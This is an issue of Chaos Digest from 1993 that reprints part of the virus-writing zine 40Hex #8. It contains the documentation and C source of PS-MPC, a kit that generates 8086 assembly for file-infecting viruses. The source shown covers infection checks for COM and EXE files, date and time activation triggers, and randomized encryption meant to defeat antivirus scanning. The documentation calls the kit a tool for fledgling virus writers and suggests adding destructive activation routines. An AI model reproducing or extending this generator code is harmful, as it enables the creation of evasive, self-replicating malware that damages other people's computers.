Chaos Digest Mercredi 30 Juin 1993 Volume 1 : Numero 64 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.64 (30 Juin 1993) File 1--40H VMag Number 8 Volume 2 Issue 4 #000-001(1) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352) 466893. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #000-001(1) (reprint) 40Hex Number 8 Volume 2 Issue 4 File 000 Welcome to 40 Hex issue 8. First off, this month is going to be Boot Sector Appreciation Month at 40Hex. We will have a fully disassembled Michelangelo, along with a Pakistani Brain variant called Ashar. But as always, there is a lot of other news that I have to discuss with all you, so on with the show. For the last couple months, we have recieved quite a bad rap on Fidonet. This has to do with the original SKISM Viruses (Like SKISM 1-14). Like everyone, we had to start somewhere. So what if our original virii blew large goats. Judge us on some of our newer stuff. Oh, what is this you say? You can't find our newer stuff? Well, neither can McAfee. Everyone will become enlightened soon enough. Other people on Fido who have been giving us a hard time, think it bothers us? Think again, we love it! One of our personal favorites is Gary Watson, who amuses us with each new post, and Tag Line (which are hysterical). Secondly, Hellraiser is back as an author for 40Hex! He currently doesn't have a modem, but he can at least do some slave work. Great to have you back HR. Another way in which 40Hex is going to help support virus community is by the brand new PHALCON/SKISM Macintosh Programming Team! The four people involved in that are Renegade, Sixo, Trojan, and Wintermute! They will be cranking out a lot of quality Macintosh utilities, trojans and other interesting things very soon! Look for them on all of our BBS's. -=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon. If you are interested, leave mail to any one of our fine support systems. 40Hex-8 Table of contents 40Hex-8.000......................You Are Here! 40Hex-8.001......................PS-MPC (MassProducedCode) 40Hex-8.002......................Putav, an expose! 40Hex-8.003......................Findav -P/S- Style 40Hex-8.004......................Checkav -P/S- Original 40Hex-8.005......................StarShip Virus Info 40Hex-8.006......................Virus Spotlite: Michelangelo 40Hex-8.007......................EXE Infectors and you 40Hex-8.008......................Disassembly of ASHAR 40Hex-8.009......................Ear-6 source en Espa$ol 40Hex-8.010......................Letter to the Editor Greetings to: The new and improved [NuKE], FirstStrike, Apache Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we forgot to greet! -)GHeap +++++ 40Hex Number 8 Volume 2 Issue 4 File 001 Once again, -=PHALCON/SKISM=- pisses off the PD scene. Now anyone can make their own virus, and give it to Gary Watson, the only guy on Fidonet who we love. Without him, we would never get the fame that we now covet so greatly. Well, that is until we got our official Pepsi Gotta Have It Cards. Thank you Gary. -) Gheap ----------------------------- Docs -n- code begin -------------------------- PS-MPC Pretty Slick Multimedia Personal Computer (NOT) Phalcon/Skism Mass-Produced Code Generator 0.90a Created by Dark Angel TABLE OF CONTENTS DEDICATION i DISCLAIMER ii PURPOSE ii WHAT IS THE PS-MPC? 1 USING THE PS-MPC 1 NO ACTIVATION ROUTINES 1 WHY NO IDE 2 SOURCE CODE AVAILABILITY 2 PROBLEMS 2 FUTURE ENHANCEMENTS 2 HISTORY OF VIRUS TOOLKITS A DEDICATION The author hereby releases this program and its source code into the public domain as "freeware." All code generated by the program must, however, retain the designation of said program, although all other parts may be modified at the user's discretion. The author dedicates this program to both the virus and anti-virus communities, both of which profit from the introduction of the Phalcon/Skism Mass-Produced Code Generator. Thanks are due to NoWhere Man for his excellent program VCL, which served as the inspiration for this package. -- DISCLAIMER This program may cause either the intentional or unintentional disruption of normal brain wave activity of the user due to the extreme shock quality of the program. The author hereby absolves himself of all liability. Persons with pacemakers beware! The code produced by the Phalcon/Skism Mass-Produced Code Generator is not designed to be damaging; however, the author is not responsible for incidental damages caused by use of the program. Further, the author is not responsible for damages caused by changes to the code generated by the PS-MPC. The author does not condone the illegal spread of executable code created in part or in whole by the PS-MPC. All source code and executable files created with the aid of the PS-MPC must be distributed with the reci- pient's full knowledge of the contents. Malicious use of the code is strictly prohibited. PURPOSE The Phalcon/Skism Mass-Produced Code Generator is not designed to create malicious code; rather, it is a learning tool from which a person may learn to write effective viral code. The code generated by the PS-MPC is highly optimised for both size and speed and is therefore the code generated can be used by the fledgling virus writer as a model for future endeavours. -- WHAT IS THE PS-MPC? The Phalcon/Skism Mass-Produced Code Generator is a tool which generates viral code according to user-designated specifications. The output is in Masm/Tasm-compatible Intel 8086 assembly and it is up to the user to assemble the output into working executable form. The features of the PS-MPC include the following: o Over 150 encryption techniques, randomly generated during each run of the PS-MPC o Compact, commented code, much tighter than VCL o COM/EXE infections o Two types of traversals o Optional infection of Command.Com o Critical error handler support USING THE PS-MPC The syntax of the PS-MPC is simple: PS-MPC ... The parameters given to the PS-MPC are the names of the configuration files. For example, to create two separate viruses using the configuration files FOOBAR1.CFG and FOOBAR2.CFG, simply type "PS-MPC FOOBAR1.CFG FOOBAR2.CFG" at the prompt. The configuration file is a text file containing a set of parameters which define the output of the PS-MPC. A sample configuration file, SKELETON.CFG is included with the package. This configuration file contains all the acceptable parameters that the PS-MPC will accept. It also includes the defaults to each of these parameters. The configuration file is self-explanatory, so there is no need to go into further detail at this time. When the Generator has completed creating the source code file/s, simply assemble the output file/s with your favorite assembler/linker combination. A multi-pass assembler is recommended. Masm is a poor choice for an assembler; try Tasm. Masm requires the code to include extra segment overrides which unnecessarily add to the code length. Masm 6.0 may fix these problems (I'm not sure since I don't have it). Tasm, on the other hand, is an excellent, fast, multipass assembler far superior to Masm. NO ACTIVATION ROUTINES I have not included any activation routines in the package simply because I do not think the power of creating potentially-destructive viruses should be in the hands of persons incapable of coding a simple activation routine in assembly. If you can rip a simple FAT-annihilator out of another trojan, then I cannot stop you from doing so. But just remember that the most memorable viruses are not necessarily those that cause the most damage, but are usually those that have unusual activation routines. Upon finding activation conditions, the PS-MPC will generate a short stub for the activation routine. This is located immediately after the code for the restoration of the executable files. It is identified by the label "activate" and is followed by a return. Insert your own activation routine between those two lines. -- WHY NO IDE (Integrated Development Environment) Everyone agrees that Microsoft Windows is for cripples. Obviously, you, the user of the PS-MPC, are no cripple, so you need no puny IDE with colourful, deluxe windows to aid you. If you are a cripple, go ahead and create the configuration file in your favorite Windows text editor. Hell, port the code to the Macintosh and you can be truly crippled (although you'll have your pretty windows and icons). SOURCE CODE AVAILABILITY This program is distributed with full source code. Although the source should be self-explanatory, I have gone back and commented several portions in order to facilitate understanding. The program was written in Turbo C 2.0 and compiled in the tiny memory model. I trust that you will not hack this program and call it your own. Source code is available only because I think it will aid in your understanding of the program. PROBLEMS This program was written hastily. The bulk of the coding was completed in under two days. Features were added by the process of accretion during the following week. Needless to say, the code is now extremely unmanageable. If there is enough interest in the package, I will rewrite it in order to alleviate the strain caused in maintaining such code. This will help in adding features as the need arises. There MAY be some bugs in this version since it hasn't been thoroughly tested yet. Report all bugs to me (duh). Be sure to save the configuration file of the faulty code so the bug may be reproduced. Better yet, find the problem, fix the C source, and send it to me. Zowie! FUTURE ENHANCEMENTS As you may have already noticed, this is a pre-1.0 release version of the Generator. There are several features which I wish to add before version 1.0. These include, but are not limited to, resident viruses, padded-EXE infections (shorter routine), and better documentation(!). A few surprises will be thrown in as well. I do not plan on increasing the size of the PS-MPC.COM file dramatically, so with every addition will come code to keep the increase in file size to a minimum. I do not intend to devote too much time to the project as I personally don't actually use the generator to spew out code for the group. Note: The version included with 40Hex-8 is not the latest version. Due to space considerations, we could not include the source code to version 0.91 which is somewhat larger. -- HISTORY OF VIRUS TOOLKITS The first known virus toolkit was called VCS, or Virus Construction Set. This program generated a new virus each time it was run. However, there were no code differences at all between any two viruses generated by VCS. All viruses generated were 1077 bytes in length and all could be detected with the identical scan string. The advantage in this approach was that the user needed absolutely no knowledge of 8086 assembly to take advantage of this program. This program of limited usefulness spawned only one well-known variant called Manta. It is not even worth mentioning here. The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation Engine (MtE). This magnificent work of Bulgarian coding allowed virus authors to create viruses with an almost limitless number of decryption routines. Although the author needed to know how to write 8086 assembly code, no knowledge of the inner workings of MtE save the entry parameters was needed to use this toolkit. It has since spawned several viruses, including Dedicated, Pogue, Fear, and Groove. The next virus toolkit to be released was VCL, or Virus Construction Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed the user many options, including the creation of parasitic COM infectors, spawning EXE infectors, trojan horses and logic bombs. Since it could only handle parasitic infections of the COM file format, it was of limited usefulness. Additionally, it incorporated only one decryption formula, once again limiting its usefulness. Further, the initial release included a quirky installation program which failed to install properly under certain conditions. However, this package contained a colourful IDE loosely based on the Borland interface. This IDE was incredibly simple to use and even the average Joe could understand how to use it without understanding 80x86 assembly. Unfortunately, the activation routines included with the package were of limited usefulness. Most of these involved manipulating the BIOS memory area at segment 40h. -- ------------------------------ Source code begins --------------------------- /* FILE: VHEADER.H */ #ifndef __VHEADER_H #define __VHEADER_H /* infect */ #define COM 1 #define EXE 2 /* traverse */ #define NONE 0 #define DOT_DOT 1 typedef struct { char always; char number; char month; char day; int year; char dow; int monthday; char hour; char minute; char second; char percentage; } activation_conditions; typedef struct { unsigned infectCOM : 1; unsigned infectEXE : 1; unsigned traverse : 1; /* Currently only two types */ unsigned encrypt : 1; unsigned int24 : 1; unsigned CommandCom : 1; unsigned allowzero : 1; unsigned calls_check : 1; } parameters; typedef struct { char configfilename[80]; char asmfilename[80]; char id[3]; char virusname[80]; char virusnamedelim; char authorname[80]; char authornamedelim; unsigned minsize, maxsize; char maxinfect; parameters p; char xor_value; char xor_comment[40]; char activation; activation_conditions activate, plusminus; } globals; /* prototypes from vmain.c */ void print(char *s, char *t); void printlabel(char *s, char *t); void addvar(char *s, char *t, char *u); void printblank(void); /* prototypes from vheap.c */ void addheap(char *s, char *t, char *u); void _addheap(char *s); void resetheap(void); /* code generating prototypes */ void code_header(void); void code_encryption(void); void code_setup(void); void code_traversal(void); void code_check_activation(void); void code_return(void); void code_activate(void); void code_messages(void); void code_check(void); void code_infect(void); void code_subroutines(void); void code_variables(void); void code_heap(void); void code_tail(void); #ifndef MAIN extern globals config; #endif #endif /* __VHEADER_H */ ----------------------------------- Cut Here -------------------------------- /* FILE: VACTIVE.C */ #include "vheader.h" void code_activate(void) { if (config.activation) { printlabel("activate:","Conditions satisfied"); printlabel("; Insert your activation code here",""); print("jmp exit_virus",""); printblank(); } } ----------------------------------- Cut Here -------------------------------- /* FILE: VCACTIVE.C */ #include "vheader.h" void code_get_date(void); void code_get_time(void); void code_jmp(char c); char coded_date, coded_time, Activation; void code_check_activation(void) { char b[80]; coded_date = coded_time = 0; Activation = config.activation; if (config.activate.always) printlabel("jmp activate","Always activate"); else { if (config.activate.month) { code_get_date(); sprintf(b,"cmp dh,%d",config.activate.month); print(b,"Check month"); code_jmp(config.plusminus.month); } if (config.activate.day) { code_get_date(); sprintf(b,"cmp dl,%d",config.activate.day); print(b,"Check date"); code_jmp(config.plusminus.day); } if (config.activate.year) { code_get_date(); sprintf(b,"cmp cx,%u",config.activate.year); print(b,"Check year"); code_jmp(config.plusminus.year); } if (config.activate.dow != 255) { code_get_date(); sprintf(b,"cmp al,%d",config.activate.dow); print(b,"Check date of week"); code_jmp(config.plusminus.dow); } if (config.activate.monthday) { code_get_date(); sprintf(b,"cmp dx,0%xuh",config.activate.monthday); print(b,"Check month/date"); code_jmp(config.plusminus.monthday); } if (coded_date) printblank(); if (config.activate.hour != 255) { code_get_time(); sprintf(b,"cmp ch,%d",config.activate.hour); print(b,"Check the hour"); code_jmp(config.plusminus.hour); } if (config.activate.minute != 255) { code_get_time(); sprintf(b,"cmp cl,%d",config.activate.minute); print(b,"Check the minute"); code_jmp(config.plusminus.minute); } if (config.activate.second != 255) { code_get_time(); sprintf(b,"cmp dh,%d",config.activate.second); print(b,"Check the seconds"); code_jmp(config.plusminus.second); } if (config.activate.percentage) { code_get_time(); sprintf(b,"cmp dl,%d",config.activate.percentage); print(b,"Check the percentage"); code_jmp(-1); if (coded_time) printblank(); } } } void code_jmp(char c) { if (--Activation) { if (c == 1) print("jb exit_virus",""); else if (c == 0) print("jnz exit_virus",""); else if (c == 255) print("ja exit_virus",""); } else { if (c == 1) print("jae config.activate",""); else if (c == 0) print("jz config.activate",""); else if (c == 255) print("jbe config.activate",""); } } void code_get_date(void) { if (!coded_date) { print("mov ah,2ah","Get current date"); print("int 21h",""); coded_date++; } } void code_get_time(void) { if (!coded_time) { print("mov ah,2ch","Get current time"); print("int 21h",""); coded_time++; } } ----------------------------------- Cut Here -------------------------------- /* FILE: VCHECK.C */ #include "vheader.h" void checkCOM(void); void code_check(void) { if (config.p.calls_check) printlabel("infect_mask:",""); print("mov ah,4eh","find first file"); print("mov cx,7","any attribute"); printlabel("findfirstnext:",""); print("int 21h","DS:DX points to mask"); if (config.p.calls_check) print("jc exit_infect_mask","No mo files found"); else print("jc done_infections","No mo files found"); printblank(); print("mov al,0h","Open read only"); print("call open",""); printblank(); print("mov ah,3fh","Read file to buffer"); print("lea dx,[bp+buffer]","@ DS:DX"); print("mov cx,1Ah","1Ah bytes"); print("int 21h",""); printblank(); print("mov ah,3eh","Close file"); print("int 21h",""); printblank(); if (config.p.infectEXE) { if (config.p.infectCOM) { print("cmp word ptr [bp+buffer],'ZM'","EXE?"); print("jz checkEXE","Why yes, yes it is!"); checkCOM(); } printlabel("checkEXE: cmp word ptr [bp+buffer+10h],id","is it already infected?"); print("jnz infect_exe",""); } else checkCOM(); printlabel("find_next:",""); print("mov ah,4fh","find next file"); print("jmp short findfirstnext",""); if (config.p.calls_check) { printlabel("exit_infect_mask: ret",""); printblank(); } } void checkCOM(void) { char s[80]; printlabel("checkCOM:",""); if (!config.p.CommandCom) { print("mov ax,word ptr [bp+newDTA+35]","Get tail of filename"); print("cmp ax,'DN'","Ends in ND? (commaND)"); print("jz find_next",""); printblank(); } print("mov ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA"); if (config.minsize) { if (config.minsize == 1) /* automatic calculation */ if (config.p.encrypt) strcpy(s,"cmp ax,(heap-decrypt)"); else strcpy(s,"cmp ax,(heap-startvirus)"); else /* if (minsize != 1) */ sprintf(s,"cmp ax,%u",config.minsize); print(s,"Is it too small?"); print("jb find_next",""); printblank(); } if (config.maxsize) { if (config.maxsize == 1) /* automatic calculation */ if (config.p.encrypt) strcpy(s,"cmp ax,65535-(endheap-decrypt)"); else strcpy(s,"cmp ax,65535-(endheap-startvirus)"); else sprintf(s,"cmp ax,%u",config.maxsize); print(s,"Is it too large?"); print("ja find_next",""); printblank(); } print("mov bx,word ptr [bp+buffer+1]","get jmp location"); if (config.p.encrypt) print("add bx,heap-decrypt+3","Adjust for virus size"); else print("add bx,heap-startvirus+3","Adjust for virus size"); print("cmp ax,bx",""); print("je find_next","already infected"); print("jmp infect_com",""); } ----------------------------------- Cut Here -------------------------------- /* VENCRYPT.C */ #include #include "vheader.h" void code_loop_count(void); void code_loop_start(void); void code_decrypt_code(void); char mem_counter; char mem_registers[4][3] = { "bx", "bp", "si", "di" }; char loop_counter; char loop_registers[7][3] = { "ax", "bx", "cx", "dx", "bp", "si", "di" }; char xor_registers[4][2] = { { 0x81, 0x37 }, { 0x81, 0x76 }, { 0x81, 0x34 }, { 0x81, 0x35 } }; char add_registers[4][2] = { { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh */ { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */ { 0x81, 0x04 }, { 0x81, 0x05 }, }; void code_encryption(void) { if (config.p.encrypt) { srand(peek(0,0x46C)); printlabel("decrypt:","handles encryption and decryption"); if ((loop_counter = random(10)) > 6) /* if out of bounds */ loop_counter = 2; /* set it = to cx */ while (1) { mem_counter = random(4); if (strcmp(mem_registers[mem_counter = random(4)], loop_registers[loop_counter])) break; } if (random(2)) { code_loop_count(); code_loop_start(); } else { code_loop_start(); code_loop_count(); } code_decrypt_code(); } } void code_loop_count(void) { char b[80]; sprintf(b,"mov %s,(offset heap - offset startencrypt)/2", loop_registers[loop_counter]); print(b,"iterations"); } void code_loop_start(void) { char b[80]; printlabel("patch_startencrypt:",""); sprintf(b,"mov %s,offset startencrypt", mem_registers[mem_counter]); print(b,"start of decryption"); } void code_decrypt_code(void) { char b[80],c[80]; printlabel("decrypt_loop:",""); config.xor_value = 0; switch (random(2)) { case 0 : sprintf(b,"db %s%2.2xh,%2.2xh%s", (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0], xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":""); sprintf(c,"xor word ptr %s[%s], xxxx", (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]); break; case 1 : sprintf(b,"db %s%2.2xh,%2.2xh%s", (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0], add_registers[mem_counter][1],(mem_counter == 1) ? ",0":""); sprintf(c,"add word ptr %s[%s], xxxx", (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]); config.xor_value = 0x28; strcpy(config.xor_comment,"flip between add/sub"); break; } print(b,c); printlabel("decrypt_value dw 0","initialised at zero for null effect"); sprintf(c,"inc %s",mem_registers[mem_counter]); print(c,"calculate new decryption location"); print(c,""); if (loop_counter - 2) { sprintf(b,"dec %s",loop_registers[loop_counter]); print(b,"If we are not done, then"); print("jnz decrypt_loop","decrypt mo'"); } else print("loop decrypt_loop","decrypt mo'"); printlabel("startencrypt:",""); } ----------------------------------- Cut Here -------------------------------- ------------------------------ End of Chaos Digest #1.64 ************************************